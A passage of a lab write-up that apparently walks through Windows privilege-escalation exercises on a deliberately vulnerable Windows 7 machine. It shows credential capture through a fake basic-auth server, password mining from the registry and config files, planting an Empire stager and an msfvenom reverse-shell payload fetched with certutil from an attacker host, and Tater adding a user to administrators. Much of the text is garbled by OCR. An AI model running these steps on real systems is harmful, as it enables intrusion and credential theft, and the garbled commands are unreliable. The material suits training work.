After Running "msiexec /quiet /qn /i C:\Temp\setup.msi" this command it will popup prompt and hide it automatically

```
C:\Users\user\cd C:\Temp

C:\Temp>\dir
Volume in drive C has no label.
Volume Serial Number is DC5A-25FB

Directory of C:\Temp

08/01/2020 02:19 PM \ ODIR\ ODIR\
```

```
Local Group Memberships *Administrators ** *Users Global Group memberships *None
The command completed successfully.
```

Quite ---> Quiet mode

q---> Set user Interface

n --> no UI


I --> status message

Exercise 9 – Password Mining (Memory)


```
sf5 > use auxiliary/server/capture/http basic
nsf5 auxiliary(server/capture/http_basic) > options
Module options (auxiliary/server/capture/http_basic):
  Name
               Current Setting Required Description
                                          The authentication realm you'd like to present.
  RedirectURL
                                          The page to redirect users to after they enter basic auth creds
               0.0.0.0
                                          The local host or network interface to listen on. This must be an address on the local machi
  SRVH0ST
e or 0.0.0.0 to listen on all addresses.
  SRVPORT
                                          The local port to listen on.
                                          Negotiate SSL for incoming connections
                                          Path to a custom SSL certificate (default is randomly generated)
  URIPATH
                                          The URI to use for this exploit (default is random)
Auxiliary action:
  Name
           Description
  Capture Run capture web server
```

This module responds to all requests for resources with a HTTP 401. This should cause most browsers to prompt for a credential. If the user enters Basic Auth creds they are sent to the console. This may be helpful in some phishing expeditions where it is possible to embed a resource into a page. After running this module type the Attacker URL in the internet explorer.

```
msf5 > use auxiliary/server/capture/http_basic
msf5 auxiliary(server/capture/http_basic) > set URIPATH /
URIPATH => /
msf5 auxiliary(server/capture/http_basic) > run
[*] Auxiliary module running as background job 0.
msf5 auxiliary(server/capture/http_basic) >
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.48.130:80/
[*] Server started.
[*] Sending 401 to client 192.168.48.175
```



After entering the privileged user password, we can dup or live monitor from "msfconsole" in my case I haven't set the privileged user (pentest) password.




We can see in msfconsole login details

```
msf5 auxiliary(server/capture/http_basic) >
[*] Using URL: http://0.0.0.0:80/
[*] Local IP: http://192.168.48.130:80/
[*] Server started.
[*] Sending 401 to client 192.168.48.175
[+] HTTP Basic Auth LOGIN 192.168.48.175 "pentest:" / /
```

Other way is dumping password from PowerShell it use:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

after entering that password, we can dump the internet Explore and search password from it.



After coping to attacker machine, we can use base 64 as decoder

Exercise 10 – Password Mining (Registry)

After running Powerup It show Autologin details

```
[*] Checking for Autologon credentials in registry...

DefaultDomainName : user
DefaultPassword : password321
AltDefaultDomainName :
AltDefaultUserName :
AltDefaultPassword :
```

In manually that command can run.

```
C:\Users\user\reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUsername

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultUsername REG_SZ user

C:\Users\user\reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
DefaultPassword REG_SZ password321
```

Some Default registry locations save the passwords. (some software asks to save user credentials)

```
C:\Users\user\reg query "HKCU\Software"

HKEY_CURRENT_USER\Software\AppDataLow
HKEY_CURRENT_USER\Software\Microsoft
HKEY_CURRENT_USER\Software\Policies
HKEY_CURRENT_USER\Software\SimonTatham
HKEY_CURRENT_USER\Software\TightVNC
HKEY_CURRENT_USER\Software\Wware, Inc.
HKEY_CURRENT_USER\Software\Wood432Node
HKEY_CURRENT_USER\Software\Classes

C:\Users\user\reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42

C:\Users\user\reg query "HKCU\Software\SimonTatham\PuTTY\Sessions\BWP123F42"

HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\BWP123F42

ProxyUsername REG_SZ user
ProxyPassword REG_SZ password321
```

```
C:\Users\user>reg query "HKEY_CURRENT_USER\Software\TightVNC"
HKEY_CURRENT_USER\Software\TightVNC\Server
C:\Users\user>reg query "HKEY_CURRENT_USER\Software\TightVNC\Server"
HKEY_CURRENT_USER\Software\TightVNC\Server
Password REG_BINARY EC84DB8BE7861E4D
PasswordViewOnly REG_BINARY 2B27C004F3
C:\Users\user>cd Desktop\Tools\vncpwd
C:\Users\user\Desktop\Tools\vncpwd>dir
Volume in drive C has no label.
Volume Serial Number is DC5A-25FB
 Directory of C:\Users\user\Desktop\Tools\vncpwd
                                  18,874 d3des.c
1,755 d3des.h
6,792 vncpwd.c
50,176 vncpwd.exe
77,597 bytes
29,444,575,232 bytes free
                07:31
07:31
07:31
09:32
02:31
*VNC password decoder 0.2
by Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org
  your input password seems in hex format (or longer than 8 chars)
  Password:
                   pass 123
  Press RETURN to exit
C:\Users\user\Desktop\Tools\vncpwd>vncpwd.exe 2B27C004F36D46D0
*VNC password decoder 0.2
by Luigi Auriemma
e-mail: aļuigi@autistici.org
           aluigi.org
  your input password seems in hex format (or longer than 8 chars)
```

Password:

pass321

Press RETURN to exit

Exercise 11 – Password Mining (Configuration Files)

sysprep.inf, sysprep.xml and unattend.xml are common files save the configurations and password. That files most be base64-encoded.

After opening that file, we can find encrypted password.

"certutil" have decode functionality so we can decode base 64 file using "certutil"

```
C:\Windows\Panther>certutil /?

Verbs:
-dump -- Dump configuration information or files
-asn -- Parse ASN.1 file

-decodehex -- Decode hexadecimal-encoded file
-decode -- Decode Base64-encoded file
-encode -- Encode file to Base64
```

In a security analysis of the antivirus software McAfee VirusScan Enterprise (VSE), the SySS GmbH could find a security vulnerability in the software component McAfee Security Agent (MSA)which can be used under certain conditions in order to per-form privilege escalation attacks within corporate networks.

the software component McAfee Security Agent which is used for managing soft-ware updates of the antivirus software McAfee VirusScan Enterprise stores the con-figuration settings of the Auto Update repository list1in two XML files namedSiteList.xmlandServerSiteList.xml.

resource:

https://www.syss.de/fileadmin/dokumente/Publikationen/2011/SySS 2011 Deeg Privilege Escalation via Antivirus Software.pdf

I copied sitelist.xml file to kali and we can decrypt that password via specific python decryptor.

```
:\Users\user>dir "\sitelist.xml" /s
Volume in drive C has no label.
Volume Serial Number is DC5A-25FB
 Directory of C:\ProgramData\McAfee\Common Framework
08/01/2020 02:18 PM
1 File(s)
                                            3,257 SiteList.xml
3,257 bytes
 Directory of C:\Users\All Users\McAfee\Common Framework
08/01/2020 02:18 PM
1 File(s)
                                            3,257 SiteList.xml
      Total Files Listed:
2 File(s)
Ø Dir(s)
C:\Users\user>copy "C:\Users\All Users\McAfee\Common Framework\SiteList.xml" Desktop 1 file(s) copied.
  [cyber1337s@parrot]-[~/sagi-shahar/Tools/mcafee sitelist pwd decrypt]
   - $ls -la
total 16
drwx----- 2 cyber1337s root 4096 Aug 8 11:41 .
drwx----- 23 cyber1337s root 4096 Apr 16 2018 ...
-rwxr-xr-x 1 cyber1337s root 1503 May 9 2017 mcafee sitelist pwd decrypt.py
 rwxrwxrwx 1 cyber1337s root 3257 Aug 1 14:18 SiteList.xml
  [cyber1337s@parrot]=[~/sagi-shahar/Tools/mcafee sitelist pwd decrypt]
   ➡$grep∵-i password SiteList.xml
                       <Password Encrypted="1">MQCBNesmh4xsoov8E4KA/i9ukpwRoD3RDId9bU+InCJ/abAFPM9B3Q==
  cyber1337s@parrot]-[~/sagi-shahar/Tools/mcafee sitelist pwd decrypt]
    $python mcafee sitelist pwd decrypt.py MQCBNesmh4xsoov8E4KA/i9ukpwRoD3RDId9bU+InCJ/abAFPM9B3Q==
irvpted password : MQCBNesmh4xsoov8E4KA/i9ukpwRoD3RDId9bU+InCJ/abAFPM9B3Q==
Decrypted password : CommonUpdater@McAfeeB2B.com
```

In nmap scan find web service in victim machine so it has "web.config" file

```
Nmap scan report for 192.168.48.175
Host is up (0.00047s latency).
Not shown: 65526 filtered ports
PORT
         STATE SERVICE
                            VERSION
135/tcp
                            Microsoft Windows RPC
         open msrpc
139/tcp
         open netbios-ssn Microsoft Windows netbios-ssn
         open microsoft-ds Windows 7 Ultimate 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
445/tcp
5357/tcp copen http
                            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
 http-server-header: Microsoft-HTTPAPI/2.0
 http-title: Service Unavailable
```


The file "C:\inetpub\wwwroot\web.config" is the website level config file of the Default website.it contains password of server and other running application details. "connectionStrings" mean database.so I copied web.config file to C:\Temp folder because all users have full privileged in that folder.

After copied, must register that service path, and decrypt the "connectionStrings" because of that can find the password decrypting that part. "web.config" file normally work with asp.net framework, v2.0 is common version, that's the reason we are using v.20 to register that file path. But unfortunately, cannot do it because his script miss configures that part

```
:: Exercise 11 - Password Mining (Configuration Files)
call :color 0f "[*] Configuring Exercise 11 - Password Mining (Configuration Files)"
echo.
call :write_file Unattend.xml
call :calculate_md5 Unattend.xml, ret_md5_val
call :confirm_md5_hash "63 f7 26 9b bc 53 e3 6d 2a 8c 32 37 21 31 3f 9c", "%ret_md5_val%" || goto :eof
call :move_file Unattend.xml, "C:\Windows\Panther"
call :write file SiteList.xml
call :calculate_md5 SiteList.xml, ret_md5_val
call :confirm_md5_hash "5e e2 85 20 37 31 21 d1 37 e1 51 a2 a7 53 7a 54", "%ret_md5_val%" || goto :eof
call :move file SiteList.xml, "C:\ProgramData\McAfee\Common Framework"
call :color @e "[i] Skipping web.config section of the exercise.."
echo.
call :color 0a "[+] Exercise 11 configuration complete."
echo.
echo.
```

Exercise 12 – Scheduled Tasks (Missing Binary)

For this one need "Autoruns64.exe" after running that exe under schedule task it has "My Task2" so we can add that place to malicious content and get the system authority using that.



I used "Empire" to create malicious code.

And I set port 80, default delay to 0 using "set" command. And after I activated the listener and start the "csharpserver"

```
(Empire: uselistener/http) > execute
[+] Listener http successfully started
(Empire: uselistener/http) > useplugin csharpserver
Record Options-
 Name
          Value
                  Required
                              Description
 status
          start
                  True
                              Start/stop the Empire C# server.
(Empire: useplugin/csharpserver) > execute
*] Starting Empire C# server
(Empire: useplugin/csharpserver) > usestager windows/csharp exe
Author hoff
             @elitest
             @hubbl3
Comments
             Based on the work of @bneg
Description
             Generate a PowerShell C# solution with embedded stager code that
             compiles to an exe
             windows/csharp exe
Name
```

(Empire: Usestager/windows/csharp_exe) > set OutFile program.exe [*] Set OutFile to program.exe (Empire: usestager/windows/csharp exe) > execute *] program.exe written to /usr/share/powershell-empire/program.exe (Empire: usestager/windows/csharp exe) > agents Agents-Name Internal IP PID Delay Language Username Process Last Seen Listener ID

After that "program.exe" copy to the windows file location that schedule task define

After copied Restart the Windows 7 VM. After restart in attacker machine automatically connection is established with attacker machine. Now we are now system authority

```
[+] New agent DH5AEK78 checked in
(Empire: agents) > interact DH5AEK78
(Empire: DH5AEK78) > shell
Exception in thread Thread-26:
Traceback (most recent call last):
   File "/usr/lib/python3.9/threading.py", line 954, in _bootstrap_inner
[*] Exit Shell Menu with Ctrl+C
[*] Sending agent (stage 2) to DH5AEK78 at 192.168.36.128
(DH5AEK78) > whoami
NT AUTHORITY\SYSTEM
(DH5AEK78) > sysinfo
0servername|WORKGROUP|SYSTEM|PT-PC|192.168.36.128|Microsoft Windows 7 Professional |True|program|2044|csharp|5|AMD64
(DH5AEK78) >
```

Exercise 13 – Hot Potato

In this Exercise we need get system info t search vulnerability in the system in this case we use exploit suggester for this exercise. https://github.com/AonCyberLabs/Windows-Exploit-Suggester

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user>cd C:\Temp
C:\Temp>systeminfo > sysinfo.txt
```

So, I get system inform to text file.


```
cyber1337s@parrot]-
     $./windows-exploit-suggester.py --database 2020-08-08-mssb.xls --systeminfo sysinfo.txt
   initiating winsploit version 3.3.
   database file detected as xls or xlsx based on extension
   attempting to read from the systeminfo input file
   systeminfo input file read successfully (ascii)
   querying database file for potential vulnerabilities
   comparing the 3 hotfix(es) against the 386 potential bulletins(s) with a database of 137 known exploits
   there are now 386 remaining vulns [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
   windows version identified as 'Windows 7 SP1 64-bit'
   MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
ΕĪ
      https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation
S16-135) (2)
     https://github.com/tinysec/public/tree/master/CVE-2016-7255
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
     https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
    MS16-075: Security Update for Windows SMB Server (3164038) - Important
     https://github.com/foxglovesec/RottenPotato
      https://github.com/Kevin-Robertson/Tater
      https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
     https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
```

```
ows [Version 6.1.7601]
2009 Microsoft Corporation. All rights reserved.

Desktop\Tools\Tater\powershell.exe -nop -ep bypass hell
2009 Microsoft Corporation. All rights reserved.

er\Desktop\Tools\Tater\ Import-Module \Tater.ps1
er\Desktop\Tools\Tater\ Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add" -exhaustudp y.
```

After entering popup SMB relay Services Details.



Exercise 14 – Startup Applications

Startup application is automatically start when any user logging their account. So can add malicious exe file and waiting for Admin User logging to the Account and can get the authority using his privileges.

```
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\user\icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup BUILTIN\Users:(F)
Pentest-Priv\pentest:(I)(0I)(CI)(DE,DC)
NT AUTHORITY\SYSTEM:(I)(0I)(CI)(F)
BUILTIN\Administrators:(I)(0I)(CI)(F)
BUILTIN\Users:(I)(0I)(CI)(RX)
Everyone:(I)(0I)(CI)(RX)

Successfully processed 1 files; Failed processing 0 files
```

That location has privileges to any users.

```
[cyber1337s@parrot]—[~/sagi-shahar]
     $msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.48.130 -f exe -o my.exe
 -] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 341 bytes
 inal size of exe file: 73802 bytes
Saved as: my.exe
  [cyber1337s@parrot]-[~/sagi-shahar]
     $python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.48.175 - - [09/Aug/2020 21:19:01] "GET /my.exe HTTP/1.1" 200 -
192.168.48.175 - - [09/Aug/2020 21:19:01] "GET /my.exe HTTP/1.1" 200 -
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup>certutil -urlcache -f http://192.168.48.130:8080/my
***** Online ****
CertUtil: -URLCache command completed successfully.
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup>dir
Volume in drive C has no label.
Volume Serial Number is DC5A-25FB
 Directory of C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
                              73,802 nc.exe
```

After planting that exe, I use "multi/handler" to listening the connection to connect back to that user.

,802 bytes ,232 bytes free

1 File(s) 73, 2 Dir(s) 29,395,423,

```
Module options (exploit/multi/handler):
    Name Current Setting Required Description
Payload options (generic/shell_reverse_tcp):
    Name
             Current Setting Required Description
                                                The listen address (an interface may be specified) The listen port  \\
    LHOST
    LPORT
            4444
                                   yes
Exploit target:
    Id Name
         Wildcard Target
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 192.168.48.130
LHOST => 192.168.48.130
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.48.130:4444
```

<u>meterpreter</u> > getuid Server username: Pentest-Priv\pentest <u>meterpreter</u> > shell Process 468 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\system32>net user pentest net user pentest User/name pentest Full Name Comment User's comment Country code 000 (System Default) Account active Yes Account expires Never Password last set 8/1/2020 1:35:05 PM Password expires Never Password changeable 8/1/2020 1:35:05 PM Password required No User may change password Yes Workstations allowed All Logon script User profile Home directory

8/9/2020 9:27:53 PM

Last logon

<pre>C:\Windows\system32>net user pentest net user pentest</pre>				
Useresname × × × × × Cyber pentestagi-shahar Tool				
Full Name				
Comment				
User's comment	Ь			
Country code doexec.c	000 (System Default)			
Account active	Yes			
Accountmexpires	Never			
Downloads	Hever			
Password last set	8/1/2020 1:35:05 PM			
Password expires	Never			
Password changeable	8/1/2020 1:35:05 PM			
Password required	No			
User may change password	Yes			
Network	163			
Workstations allowed	All			
Logon script	Acc			
User profile				
Home directory				
Last logon	8/9/2020 9:27:53 PM			
Last togon	0/9/2020 9.27.33 111			
Logon hours allowed	All			
Logon nours accowed	Acc			
Local Group Memberships *Administrators				
Global Group memberships	*None			
The command completed successfully.				
The command completed successfully.				

Reference:

https://pentestlab.blog/tag/imagepath/

https://www.bc-security.org/post/overview-of-empire-4-0-and-c/

- **exe**: standard PE format for Windows
- **exe-only**: not sure on this on, never used it...
- **exe-service**: runs as a service instead of a process
- **exe-small**: creates smallest version of ShellCode (may include bad chars). Used for tight buffers
- msi: wraps an executable in an MSI for auto execution when run
- **msi-nouac**: MSI with no UAC

Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add

Potato.exe -ip 192.168.216.143 -cmd "net localgroup administrators user /add" -disable_exhaust true